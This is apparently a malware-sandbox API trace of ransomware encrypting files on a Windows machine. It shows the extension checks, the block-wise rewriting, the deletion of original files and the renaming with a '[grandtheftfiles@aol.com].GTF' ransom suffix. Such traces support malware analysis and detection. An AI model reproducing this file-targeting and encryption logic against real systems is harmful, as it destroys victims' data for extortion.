	[0073.668] ReadFile (in: hFile=0x374, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.668] WriteFile (in: hFile=0x370, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xe8, lpOverlapped=0x0) returned 1
	[0073.668] SetEndOfFile (hFile=0x370) returned 1
	[0073.668] CloseHandle (hObject=0x370) returned 1
	[0073.672] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.672] SetEndOfFile (hFile=0x374) returned 1
	[0073.673] CloseHandle (hObject=0x374) returned 1
	[0073.673] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0073.674] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 1
	[0073.674] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0073.674] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0073.674] lstrlenW (lpString=".doc") returned 4
	[0073.674] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0073.674] lstrlenW (lpString=".docx") returned 5
	[0073.674] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0073.674] lstrlenW (lpString=".pdf") returned 4
	[0073.674] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0073.674] lstrlenW (lpString=".xls") returned 4
	[0073.674] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0073.674] lstrlenW (lpString=".xlsx") returned 5
	[0073.674] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0073.674] lstrlenW (lpString=".ppt") returned 4
	[0073.674] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0073.674] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0073.674] lstrlenW (lpString=".zip") returned 4
	[0073.674] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0073.674] lstrlenW (lpString=".rar") returned 4
	[0073.674] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0073.674] lstrlenW (lpString=".bz2") returned 4
	[0073.674] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0073.674] lstrlenW (lpString=".7z") returned 3
	[0073.674] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0073.675] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0073.675] lstrlenW (lpString=".dbf") returned 4
	[0073.675] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0073.675] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0073.675] lstrlenW (lpString=".1cd") returned 4
	[0073.675] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0073.675] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0073.675] lstrlenW (lpString=".jpg") returned 4
	[0073.675] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0073.675] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0073.675] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0073.675] lstrlenW (lpString=".doc") returned 4
	[0073.675] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0073.675] lstrlenW (lpString=".docx") returned 5
	[0073.675] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0073.675] lstrlenW (lpString=".pdf") returned 4
	[0073.675] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0073.675] lstrlenW (lpString=".xls") returned 4
	[0073.675] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0073.675] lstrlenW (lpString=".xlsx") returned 5
	[0073.675] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0073.675] lstrlenW (lpString=".ppt") returned 4
	[0073.675] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0073.675] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0073.675] lstrlenW (lpString=".zip") returned 4
	[0073.675] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0073.675] lstrlenW (lpString=".rar") returned 4
	[0073.675] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0073.675] lstrlenW (lpString=".bz2") returned 4
	[0073.675] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0073.675] lstrlenW (lpString=".7z") returned 3
	[0073.675] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0073.675] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0073.675] lstrlenW (lpString=".dbf") returned 4
	[0073.675] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0073.675] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0073.676] lstrlenW (lpString=".1cd") returned 4
	[0073.676] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0073.676] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0073.676] lstrlenW (lpString=".jpg") returned 4
	[0073.676] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0073.678] lstrcmpiW (lpString1=".msu", lpString2=".GTF") returned 1
	[0073.678] lstrlenW (lpString="Windows6.1-KB958488-v6001-x64.msu") returned 33
	[0073.678] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0073.678] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=5091790) returned 1
	[0073.678] CloseHandle (hObject=0x374) returned 1
	[0073.678] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu")) returned 0x80
	[0073.678] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0073.678] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 1
	[0073.679] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0073.679] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc64 | out: lpNewFilePointer=0x0) returned 1
	[0073.679] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc24 | out: lpNewFilePointer=0x0) returned 1
	[0073.679] ReadFile (in: hFile=0x374, lpBuffer=0x3d56058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3d56058*, lpNumberOfBytesRead=0x38dfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0073.686] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc24 | out: lpNewFilePointer=0x0) returned 1
	[0073.686] ReadFile (in: hFile=0x374, lpBuffer=0x3d96058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3d96058*, lpNumberOfBytesRead=0x38dfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0073.691] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38dfc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0073.691] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc24 | out: lpNewFilePointer=0x0) returned 1
	[0073.691] ReadFile (in: hFile=0x374, lpBuffer=0x3dd6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3dd6058*, lpNumberOfBytesRead=0x38dfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0074.150] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.150] WriteFile (in: hFile=0x374, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x38dfca8, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfca8*=0xc012e, lpOverlapped=0x0) returned 1
	[0074.179] SetEndOfFile (hFile=0x374) returned 1
	[0074.179] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x40000) returned 0x3f633c0
	[0074.185] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc74 | out: lpNewFilePointer=0x0) returned 1
	[0074.185] WriteFile (in: hFile=0x374, lpBuffer=0x3f633c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38dfc80, lpOverlapped=0x0 | out: lpBuffer=0x3f633c0*, lpNumberOfBytesWritten=0x38dfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0074.187] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc74 | out: lpNewFilePointer=0x0) returned 1
	[0074.187] WriteFile (in: hFile=0x374, lpBuffer=0x3f633c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38dfc80, lpOverlapped=0x0 | out: lpBuffer=0x3f633c0*, lpNumberOfBytesWritten=0x38dfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0074.189] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc74 | out: lpNewFilePointer=0x0) returned 1
	[0074.189] WriteFile (in: hFile=0x374, lpBuffer=0x3f633c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38dfc80, lpOverlapped=0x0 | out: lpBuffer=0x3f633c0*, lpNumberOfBytesWritten=0x38dfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0074.536] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f633c0 | out: hHeap=0x720000) returned 1
	[0074.538] CloseHandle (hObject=0x374) returned 1
	[0076.396] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0076.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0076.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0076.396] lstrlenW (lpString=".doc") returned 4
	[0076.396] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0076.396] lstrlenW (lpString=".docx") returned 5
	[0076.397] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0076.397] lstrlenW (lpString=".pdf") returned 4
	[0076.397] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0076.397] lstrlenW (lpString=".xls") returned 4
	[0076.397] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0076.397] lstrlenW (lpString=".xlsx") returned 5
	[0076.397] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0076.397] lstrlenW (lpString=".ppt") returned 4
	[0076.397] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0076.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0076.397] lstrlenW (lpString=".zip") returned 4
	[0076.397] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0076.397] lstrlenW (lpString=".rar") returned 4
	[0076.397] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0076.397] lstrlenW (lpString=".bz2") returned 4
	[0076.397] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0076.397] lstrlenW (lpString=".7z") returned 3
	[0076.397] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0076.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0076.397] lstrlenW (lpString=".dbf") returned 4
	[0076.397] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0076.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0076.397] lstrlenW (lpString=".1cd") returned 4
	[0076.397] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0076.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0076.397] lstrlenW (lpString=".jpg") returned 4
	[0076.397] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0076.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0076.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0076.397] lstrlenW (lpString=".doc") returned 4
	[0076.397] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0076.397] lstrlenW (lpString=".docx") returned 5
	[0076.397] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0076.397] lstrlenW (lpString=".pdf") returned 4
	[0076.397] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0076.397] lstrlenW (lpString=".xls") returned 4
	[0076.397] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0076.397] lstrlenW (lpString=".xlsx") returned 5
	[0076.398] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0076.398] lstrlenW (lpString=".ppt") returned 4
	[0076.398] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0076.398] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0076.398] lstrlenW (lpString=".zip") returned 4
	[0076.398] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0076.398] lstrlenW (lpString=".rar") returned 4
	[0076.398] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0076.398] lstrlenW (lpString=".bz2") returned 4
	[0076.398] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0076.398] lstrlenW (lpString=".7z") returned 3
	[0076.398] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0076.398] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0076.398] lstrlenW (lpString=".dbf") returned 4
	[0076.398] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0076.398] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0076.398] lstrlenW (lpString=".1cd") returned 4
	[0076.398] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0076.398] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0076.398] lstrlenW (lpString=".jpg") returned 4
	[0076.398] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0076.398] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0076.398] lstrlenW (lpString="Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 47
	[0076.398] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0076.416] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=69632) returned 1
	[0076.416] CloseHandle (hObject=0x388) returned 1
	[0076.416] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 0x20
	[0076.416] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0076.417] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0076.417] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.417] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.417] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0076.418] GetLastError () returned 0x0
	[0076.418] ReadFile (in: hFile=0x374, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0076.422] WriteFile (in: hFile=0x340, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0076.424] ReadFile (in: hFile=0x374, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.424] WriteFile (in: hFile=0x340, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x132, lpOverlapped=0x0) returned 1
	[0076.424] SetEndOfFile (hFile=0x340) returned 1
	[0076.424] CloseHandle (hObject=0x340) returned 1
	[0076.426] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.426] SetEndOfFile (hFile=0x374) returned 1
	[0076.427] CloseHandle (hObject=0x374) returned 1
	[0076.427] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0076.428] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 1
	[0076.428] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0076.428] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0076.428] lstrlenW (lpString=".doc") returned 4
	[0076.428] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.428] lstrlenW (lpString=".docx") returned 5
	[0076.428] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.428] lstrlenW (lpString=".pdf") returned 4
	[0076.428] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.428] lstrlenW (lpString=".xls") returned 4
	[0076.428] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.428] lstrlenW (lpString=".xlsx") returned 5
	[0076.428] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.428] lstrlenW (lpString=".ppt") returned 4
	[0076.428] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.428] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0076.428] lstrlenW (lpString=".zip") returned 4
	[0076.428] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.428] lstrlenW (lpString=".rar") returned 4
	[0076.428] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.428] lstrlenW (lpString=".bz2") returned 4
	[0076.428] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.428] lstrlenW (lpString=".7z") returned 3
	[0076.428] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.428] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0076.428] lstrlenW (lpString=".dbf") returned 4
	[0076.428] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.428] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0076.428] lstrlenW (lpString=".1cd") returned 4
	[0076.429] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.429] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0076.429] lstrlenW (lpString=".jpg") returned 4
	[0076.429] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.429] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0076.429] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0076.429] lstrlenW (lpString=".doc") returned 4
	[0076.429] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.429] lstrlenW (lpString=".docx") returned 5
	[0076.429] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.429] lstrlenW (lpString=".pdf") returned 4
	[0076.429] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.429] lstrlenW (lpString=".xls") returned 4
	[0076.429] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.429] lstrlenW (lpString=".xlsx") returned 5
	[0076.429] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.429] lstrlenW (lpString=".ppt") returned 4
	[0076.429] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.429] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0076.429] lstrlenW (lpString=".zip") returned 4
	[0076.429] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.429] lstrlenW (lpString=".rar") returned 4
	[0076.429] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.429] lstrlenW (lpString=".bz2") returned 4
	[0076.429] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.429] lstrlenW (lpString=".7z") returned 3
	[0076.429] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.429] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0076.429] lstrlenW (lpString=".dbf") returned 4
	[0076.429] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.429] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0076.429] lstrlenW (lpString=".1cd") returned 4
	[0076.429] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.429] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0076.429] lstrlenW (lpString=".jpg") returned 4
	[0076.429] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.430] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0076.430] lstrlenW (lpString="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 71
	[0076.430] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0076.441] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=1052672) returned 1
	[0076.441] CloseHandle (hObject=0x388) returned 1
	[0076.442] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 0x20
	[0076.442] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0076.442] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0076.442] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.442] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.442] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0076.443] GetLastError () returned 0x0
